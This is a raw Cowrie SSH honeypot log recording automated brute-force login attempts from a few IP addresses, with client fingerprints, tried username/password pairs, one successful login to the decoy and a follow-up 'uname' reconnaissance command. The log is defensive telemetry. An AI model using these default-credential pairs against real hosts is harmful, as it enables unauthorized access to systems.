{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:56.888567Z","src_ip":"192.109.200.237","session":"149118646d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:56.971092Z","src_ip":"192.109.200.237","session":"149118646d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:57.218081Z","src_ip":"192.109.200.237","session":"149118646d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:58.400835Z","src_ip":"192.109.200.237","session":"149118646d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33004,"dst_ip":"159.203.135.109","dst_port":22,"session":"075a524fa9c7","protocol":"ssh","message":"New connection: 192.109.200.237:33004 (159.203.135.109:22) [session: 075a524fa9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.031824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.037107Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.119575Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.368108Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.727632Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.731400Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.817861Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:00.825203Z","src_ip":"192.109.200.237","session":"075a524fa9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49976,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d09cb4e7b6","protocol":"ssh","message":"New connection: 192.109.200.237:49976 (159.203.135.109:22) [session: 65d09cb4e7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:03.398774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:03.406014Z","src_ip":"192.109.200.237","session":"65d09cb4e7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:03.493299Z","src_ip":"192.109.200.237","session":"65d09cb4e7b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:03.750275Z","src_ip":"192.109.200.237","session":"65d09cb4e7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:04.840473Z","src_ip":"192.109.200.237","session":"65d09cb4e7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49982,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13b783989f5","protocol":"ssh","message":"New connection: 192.109.200.237:49982 (159.203.135.109:22) [session: b13b783989f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:06.639062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:06.644067Z","src_ip":"192.109.200.237","session":"b13b783989f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:06.732169Z","src_ip":"192.109.200.237","session":"b13b783989f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:06.984295Z","src_ip":"192.109.200.237","session":"b13b783989f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:08.186111Z","src_ip":"192.109.200.237","session":"b13b783989f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49992,"dst_ip":"159.203.135.109","dst_port":22,"session":"f24cfcdee22e","protocol":"ssh","message":"New connection: 192.109.200.237:49992 (159.203.135.109:22) [session: f24cfcdee22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:09.873129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:09.878589Z","src_ip":"192.109.200.237","session":"f24cfcdee22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:09.961223Z","src_ip":"192.109.200.237","session":"f24cfcdee22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:10.208497Z","src_ip":"192.109.200.237","session":"f24cfcdee22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:11.294415Z","src_ip":"192.109.200.237","session":"f24cfcdee22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":62248,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd4eebb9233e","protocol":"ssh","message":"New connection: 38.93.206.2:62248 (10.17.0.5:22) [session: dd4eebb9233e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:11.596467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:11.601629Z","src_ip":"38.93.206.2","session":"dd4eebb9233e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:11.662607Z","src_ip":"38.93.206.2","session":"dd4eebb9233e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magic","message":"login attempt [root/magic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:11.818986Z","src_ip":"38.93.206.2","session":"dd4eebb9233e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:12.873065Z","src_ip":"38.93.206.2","session":"dd4eebb9233e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57156,"dst_ip":"159.203.135.109","dst_port":22,"session":"377d55779e0b","protocol":"ssh","message":"New connection: 192.109.200.237:57156 (159.203.135.109:22) [session: 377d55779e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:13.122911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:13.127796Z","src_ip":"192.109.200.237","session":"377d55779e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:13.210326Z","src_ip":"192.109.200.237","session":"377d55779e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:13.459558Z","src_ip":"192.109.200.237","session":"377d55779e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49384,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe3a6aa58d41","protocol":"ssh","message":"New connection: 103.77.175.15:49384 (159.203.135.109:22) [session: fe3a6aa58d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:14.105324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:14.110059Z","src_ip":"103.77.175.15","session":"fe3a6aa58d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:14.369095Z","src_ip":"103.77.175.15","session":"fe3a6aa58d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:14.544303Z","src_ip":"192.109.200.237","session":"377d55779e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:15.131087Z","src_ip":"103.77.175.15","session":"fe3a6aa58d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57168,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a774542f32d","protocol":"ssh","message":"New connection: 192.109.200.237:57168 (159.203.135.109:22) [session: 1a774542f32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.323586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.328734Z","src_ip":"192.109.200.237","session":"1a774542f32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:16.389580Z","src_ip":"103.77.175.15","session":"fe3a6aa58d41","protocol":"ssh"}
